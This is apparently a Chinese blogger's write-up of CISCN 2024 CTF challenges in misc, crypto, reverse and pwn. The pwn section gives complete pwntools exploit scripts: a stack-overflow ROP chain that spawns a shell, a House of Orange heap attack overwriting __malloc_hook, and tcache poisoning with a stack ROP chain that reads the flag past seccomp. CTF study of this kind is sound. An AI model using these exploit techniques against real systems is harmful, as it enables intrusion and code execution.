抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。

Misc

火锅链观光打卡

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:
hotpot
得到 flag :

1
flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram

这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:
trace36
trace37
每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。
使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位)
特殊曲线到字符的映射脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
tmp = list[i] - i*40 -1
print(tmp)
password += data[tmp]

print(password)

得到结果_ciscn_2024_,因此 flag 为:

1
flag{_ciscn_2024_}

Crypto

古典密码

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9,没有说明经过何种处理。
放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:

1
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:

1
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse

gdb_debug

IDA反编译,注意到程序中设置随机数种子的代码:

1
2
v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
random_val = libc.rand() & 0xff
solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
v18 = (libc.rand() % (k + 1)) & 0xff
v19 = ptr[k]
ptr[k] = ptr[v18]
ptr[v18] = v19
k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
model = solver.model()
flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
print(f'flag: {flag}')
else:
print('unsat')

其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因?
最后得到flag:

1
flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn

gostack

一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。
首先checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP
找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :

1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary

首先用 IDA 反编译程序,在程序中发现以下漏洞:

  1. heap overflow(8字节的溢出)
  2. UAF(只能使用一次,因为只能 delete 一次)
    • write after free
    • read after free

再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。
利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
p.recvuntil(b'###orange_cat_diary###')
p.recvuntil(b'Please input your choice:')

def add(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

def show():
menu()
p.sendline(b'2')

def delete():
menu()
p.sendline(b'3')

def edit(size, content):
menu()
p.sendline(b'4')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag :

1
flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap

我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。

又一道堆题,但是使用 seccomp 限制了系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ seccomp-tools dump ./EzHeap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

因此很容易想到先用 mprotect 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect ,直接在栈上构造 ROP chain 来进行 orw 。

分析程序,发现漏洞:

  1. 极大 heap overflow
  2. 输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:

  • 首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址

  • 计算 libc 中 __environ 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址

    libc 版本为2.35,因此要手动 safe link

  • 在某个堆块中写入 flag\x00 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open 往往使用 openat 系统调用,会被禁止。因此我直接选择全部使用 syscall ; ret gadget ,这也是导致我 payload 巨大的原因。

  • malloc_heap 操作对应函数的 ret 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def free_heap(index):
menu()
p.sendline(b'2')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def edit_heap(index, size, content):
menu()
p.sendline(b'3')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def show_heap(index):
menu()
p.sendline(b'4')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def exit_program():
menu()
p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
pos = (ptr >> 12) + page_offset
m = pos ^ ptr
return m >> 24 ^ m

def leak_heap_libc():
global heap_leak, libc_leak
# idx 0
malloc_heap(0x40, b'A'*0x40)
edit_heap(0, 0x50, b'A'*0x50)
show_heap(0)
p.recvuntil(b'A'*0x50)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
edit_heap(0, 0xd0, b'B'*0xd0)
show_heap(0)
p.recvuntil(b'B'*0xd0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
payload = payload.ljust(0xd0, b'\x00')
edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag :

1
flag{c9112d19-27e3-41ec-9957-fefb3f109229}

评论